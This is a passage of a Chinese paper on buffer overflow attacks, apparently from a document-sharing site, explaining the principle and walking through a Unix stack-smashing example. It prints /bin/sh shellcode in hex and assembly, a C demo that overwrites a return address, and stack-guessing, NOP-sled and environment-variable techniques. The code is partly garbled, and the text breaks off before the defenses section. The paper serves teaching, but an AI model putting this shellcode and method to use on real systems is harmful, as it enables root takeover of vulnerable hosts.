当前位置:文档之家› 缓冲区溢出攻击的分析及防范策略概要

缓冲区溢出攻击的分析及防范策略概要

缓冲区溢出攻击的分析及防范策略

摘 要 随着Internet及相关信息技术的迅速发展,网上的电子商务呈现出极大的增长势头,但是投入的增多意味着风险也随之而来,网络安全问题成为各种网上活动需要考虑的头等大事。 本文重点探讨一下缓冲区溢出对计算机系统造成的危害。因为几十年来,缓冲区溢出一直引起许多严重的安全性问题。近年由CERT/CC(Computer Emergency Response Term/Coodination

Center)发布的忠告中关于缓冲区溢出漏洞占56.76%以上。 本文首先解释了缓冲区溢出的概念,从程序语言本身存在缺陷,不够健壮的角度出发,对缓冲区溢出的原理进行了详细的阐述;再次,通过一个会导致缓冲区溢出的程序代码对缓冲区溢出攻击的产生进行了实例分析,同时还对Unix操作系统下的缓冲区溢出攻击进行了有针对性的分析,并总结出缓冲区溢出攻击的类型;最后,结合缓冲区溢出攻击的类型,从系统管理和软件开发两个角度提出了缓冲区溢出攻击的防范策略。 关键字:缓冲区溢出 攻击

AbstractWith the development of Internet and information

technology, the great growth has appeared out in E-Commerce. But this

trend lead to more venture, network security issue has become the

cardinal task that various kinds of online activity need to

consider.At present, the biggest problem on network is that computer

software is usually not stalwart enough, sometimes such barrier will

cause catastrophic result, especially when being utilized maliciously

by the lawless person, the harm will hard to estimate.Buffer overflow

attacking is a seriously problem in network security and cause

serious security problems in recently years. Some program language

have pestilent bug, for example, C program language doesn’t check

the border of the array of number is apt to cause the buffer overflow,

and therefore possibly cause the failure of program processing and

paralysis of computer.This paper analysis deeply the principle and

possible of buffer overflow attacking, and point out buffer

overflow’s potential dangers. At last, according to the kinds of

buffer overflow attacking, I put forward my own opinion of

precautionary measures on buffer overflow attacking. Key Words:

buffer overflow attacking 一 缓冲区与出的概念及原理

1.1何谓缓冲区溢出 缓冲区是用户为程序运行时在计算机中申请得的一段连续的内存,它保存了给定类型的数据。缓冲区溢出指的是一种常见且危害很大的系统攻击手段,通过向程序的缓冲区写入超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他的指令,以达到攻击的目的。 1.2缓冲区溢出的原理 从上面的缓冲区溢出概念可以看出,缓冲区溢出就是将一个超过缓冲区长度的字符串置入缓冲区的结果,这是由于程序设计语言的一些漏洞,如C/C++语言中,不对缓冲区、数组及指针进行边界检查,(strcpy()、strcat()、sprintf()、gets()等语句),在程序员也忽略对边界进行检查而向一个有限空间的缓冲区中置入过长的字符串可能会带来两种结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一种后果是利用这种漏洞可以执行任意指令,甚至可以取得系统特权,由此而引发多种攻击方法。 缓冲区溢出对系统的安全性带来很大的威胁,比如向程序的有限空间的缓冲区中置入过长的字符串,造成缓冲区溢出,从而破坏程序的堆栈,使程序转去执行其他的指令,如果这些指令是放在有Root权限的内存里,那么一旦这些指令得到了运行,入侵者就以Root的权限控制了系统,这也是我们所说的U2R(User to Root Attacks)攻击。例如在Unix系统中,使用一些精心编写的程序,利用SUID程序(如FDFORMAT)中存在的缓冲区溢出错误就可以取得系统超级用户权限,在Unix取得超级用户权限就意味着黑客可以随意控制系统。为了避免这种利用程序设计语言漏洞而对系统的恶意攻击,我们必须要仔细分析缓冲区溢出攻击的产生及类型,从而做出相应的防范策略。 “xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00”

“x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80”

“xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xdlxffxff”

“xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3” 事例程序如下:

/ test / char shellcode[]=

{“xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00” “x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80”

“xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xdlxffxff”

“xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3”}; void f(char *src)

{ char dest[4]; memcpy(dest,src,12); } void main() { int

shellentry[3]; shellentry[0]=(int)shellcode;

shellentry[1]=(int)shellcode; shellentry[2]=(int)shellcode;

f(shellentry); } 由以上程序可以看出缓冲区溢出攻击的关键:因为memcpy并不检验边界,所以dest溢出时,使shellcode的地址覆盖了子程序的返回地址,当子程序执行ret指令时,CPU的指令指针寄存器EIP指向shellcode,从而执行shellcode。 这里讨论一个现实中的Unix环境下,利用缓冲区溢出的到一个Shell的行攻击方法的实现。其中,S代表Shellcode,A代表填写的返回地址,由于Shellcode在虚地址的高端,所以这个返回地址(32bit)一般不会含有零字节: (1) 启动一个一个Shell的代码——Shellcode的获得 通常的获得方法是先用高级语言编写同样功能的程序,然后用调试工具抽取必须的二进制代码。高级语言程序如下: shellcode.c #include

void main() { char *name[2]; name[0]=”bin/sh”; name[1]=NULL;

execve(name[0],name,NULL); exit(0); } 把上述程序编译之后,可以用gdb得到上面程序的汇编代码及二进制代码,适当优化后即可得到二进制的Shellcode。 这里要解决的一个问题是,无论Shellcode被装置到内存的什么位置,字符串“/bin/sh”的地址都可以得到。解决方法是在“/bin/sh”之前加一条CALL指令,这样当CALL被执行时,“/bin/sh”的地址将被自动压入堆栈,紧接着用一条popl指令即可获得这个地址。 Shellcode的结构如下:(J代表JMP指令,C代表CALL指令,S代表启动Shell的代码,s代表串“/bin/sh”,A指向Shellcode的起始地址)。 SCO Unix下的Shellcode的汇编代码如下: Jmp 0x2a # 3 bytes # 跳到CALL指令处

Popl %esi # 1 byte # 把由CALL指令压入堆栈的串 # 地址送到esi movl %esi, 0x8(%esi) # 3 bytes movb $0x0,

0x7(%esi) # 4 bytes movl $0x0, 0xc(%esi) # 7

bytes movl $0xb, %eax # 5 bytes movl %esi, %ebx # 2 bytes # 执行execve(name[0],name,NULL); leal 0x8(%esi) , %ecx # 3

bytes leal 0xc(%esi) , %edx # 3 bytes int

$0x80 # 2 bytes movl

$0x1,%eax # 5 bytes #执行exit(0) movl

$0x0,%ebx # 5 bytes int

$0x80 # 2 bytes call –0x2f # 5 bytes #跳到popl %esi指令处 .string ”/bin/sh” # 8 bytes 利用gdb的x命令可以得到上述汇编代码的二进制代码。 (2) 猜测被溢出的缓冲区的位置

有了shellcode还不够,在溢出一个缓冲区时,还必须使被溢出的返回地址正确指向shellcode。在Unix环境下,当我们去溢出另外一个程序的没有边界检查的buffer时,通常只会得到一个Segmentation fault(段错误),程序退出,再没有其他信息。这就是由于返回地址不正确引起的。 为了正确获得溢出的缓冲区在堆栈的位置,所以需要推测shellcode的起始位置,即被溢出的缓冲区buffer的位置。Unix环境下,每个进程启动时的初始堆栈的虚存位置时一样的。利用下面的程序可以近似的得到这个位置(在环境变量不同、传入的命令行参数不同时,这个值略有变动): unsigned long get_esp(void)

{ _asm_(“movl %esp,%eax”); } void main(void)

{ printf(“0x%x ”,get_esp()); } 通常,进程运行时向堆栈中写入的数据不会超过数百个字节或数千个字节,有了这个起始地址,用简单的一个个尝试的方法也是可以攻击的。但显然这不是一种效率高的方法。解决的办法是在缓冲区前端填充几百字节NOP指令,只要猜测的地址落在NOP指令序列中,仍可以执行shellcode,从而成倍地增加猜中的机会。 (3) 攻击代码中字节代码为零的消除 Unix的程序中大量使用了strcpy函数,shellcode中含有0x00,由于通常是攻击一个字符缓冲区,如果攻击代码中含有0,则它会被当成字符串的结尾处理,于是攻击代码被截断。消除的方法是对代码做适当的变换,因此在这里需要使用一些汇编程序设计技巧,把shellcode转换成不含0x00的等价代码。 (4)被攻击的缓冲区很小的情况 当缓冲区太小,可能使NOP部分或shellcode部分覆盖返回地址ret,导致缓冲区起址到返回地址的距离不足以容纳shellcode,这样设定的跳转地址就没有用上,攻击代码不能被正确执行。 一个方法就是利用环境变量。当一个进程启动时,环境变量被映射到进程堆栈空间的顶端。这样就可以把攻击代码(NOP串+Shellcode)放到一个环境变两中,而在被溢出的缓冲区中填上攻击代码的地址。比如,可以把shellcode放在环境变量中,并把环境变量传入到要攻击的程序中,就可以对有缓冲区溢出漏洞的程序进行攻击。利用这样方法,还可以设计很大的攻击代码。 2.2缓冲区溢出攻击的类型 缓冲区溢出的目的在于扰乱具有某些特权运行程序的功能,这样就可以让攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机甚至服务器就被控制了。一般而言,攻击者攻击root程序,然后执行类似“exec(sh)”的执行代码来获得root的shell。但并不总是这样,为了达到这个目的,攻击者必须达到如下两个目标:

l 在程序的地址空间里安排适当的代码 l 通过适当地初始化寄存器和存储器,让程序跳转到安排好的地址空间执行。 我们可以根据这两个目标来对缓冲区溢出攻击进行分类。 1.在程序的地址空间里安

相关主题